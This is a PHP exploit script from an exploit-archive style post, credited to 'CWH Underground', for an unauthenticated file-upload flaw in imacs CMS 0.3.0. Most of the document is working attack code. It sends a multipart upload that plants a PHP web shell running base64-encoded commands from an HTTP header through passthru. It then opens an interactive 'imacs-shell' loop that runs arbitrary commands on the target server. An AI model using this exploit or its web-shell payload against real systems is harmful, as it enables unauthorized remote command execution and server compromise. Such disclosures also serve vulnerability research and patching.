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imacs CMS 0.3.0 - Unrestricted File Upload Exploit
<?php
/*
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
Exploit Title : imacs CMS Unrestricted File Upload Exploit
Date : 18 June 2013
Exploit Author : CWH Underground
Site : www.2600.in.th
Vendor Homepage : http://jrcmsdev.sourceforge.net/
Software Link : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip
Version : 0.3.0
Tested on : Window and Linux
#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################
/src/assets/mng/mng.php
#####################################################
DESCRIPTION
#####################################################
Restricted access to this script isn't properly realized (Don't require authentication) ,
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file
extension isn't properly checked.
#####################################################
EXPLOIT
#####################################################
*/
error_reporting ( 0 );
set_time_limit ( 0 );
ini_set ( "default_socket_timeout" , 5 );
function http_send ( $host , $packet )
{
if (!( $sock = fsockopen ( $host , 80 )))
die( "\n[-] No response from { $host } :80\n" );
fputs ( $sock , $packet );
return stream_get_contents ( $sock );
}
print "\n==============================================\n" ;
print " imacs CMS Unrestricted File Upload Exploit \n" ;
print " \n" ;
print " Discovered By CWH Underground \n" ;
print "==============================================\n\n" ;
print " ,--^----------,--------,-----,-------^--, \n" ;
print " | ||||||||| `--------' | O \n" ;
print " `+---------------------------^----------| \n" ;
print " `\_,-------, _________________________| \n" ;
print " / XXXXXX /`| / \n" ;
print " / XXXXXX / `\ / \n" ;
print " / XXXXXX /\______( \n" ;
print " / XXXXXX / \n" ;
print " / XXXXXX / .. CWH Underground Hacking Team .. \n" ;
print " (________( \n" ;
print " `------' \n\n" ;
if ( $argc < 3 )
{
print "\nUsage......: php $argv [ 0 ] <host> <path>\n" ;
print "\nExample....: php $argv [ 0 ] localhost /" ;
print "\nExample....: php $argv [ 0 ] localhost /imacs/\n" ;
die();
}
$host = $argv [ 1 ];
$path = $argv [ 2 ];
$payload = "--o0oOo0o\r\n" ;
$payload .= "Content-Disposition: form-data; name=\"upload\"; filename=\"sh.php\"\r\n" ;
$payload .= "Content-Type: application/octet-stream\r\n\r\n" ;
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n" ;
$payload .= "--o0oOo0o--\r\n" ;
$packet = "GET { $path } HTTP/1.0\r\n" ;
$packet .= "Host: { $host } \r\n" ;
$packet .= "Connection: close\r\n\r\n { $payload } " ;
$response = http_send ( $host , $packet );
if (! preg_match ( "/Set-Cookie: ([^;]*);/i" , $response , $sid )) die( "\n[-] Session ID not found!\n" );
$packet = "POST { $path } src/assets/mng/mng.php?dir= HTTP/1.0\r\n" ;
$packet .= "Host: { $host } \r\n" ;
$packet .= "Cookie: { $sid [ 1 ]} \r\n" ;
$packet .= "Content-Length: " . strlen ( $payload ). "\r\n" ;
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n" ;
$packet .= "Connection: close\r\n\r\n { $payload } " ;
http_send ( $host , $packet );
$packet = "GET { $path } content/uploads/sh.php HTTP/1.0\r\n" ;
$packet .= "Host: { $host } \r\n" ;
$packet .= "Cmd: %s\r\n" ;
$packet .= "Connection: close\r\n\r\n" ;
while( 1 )
{
print "\nimacs-shell# " ;
if (( $cmd = trim ( fgets ( STDIN ))) == "exit" ) break;
$response = http_send ( $host , sprintf ( $packet , base64_encode ( $cmd )));
preg_match ( '/___(.*)/s' , $response , $m ) ? print $m [ 1 ] : die( "\n[-] Exploit failed!\n" );
}
################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>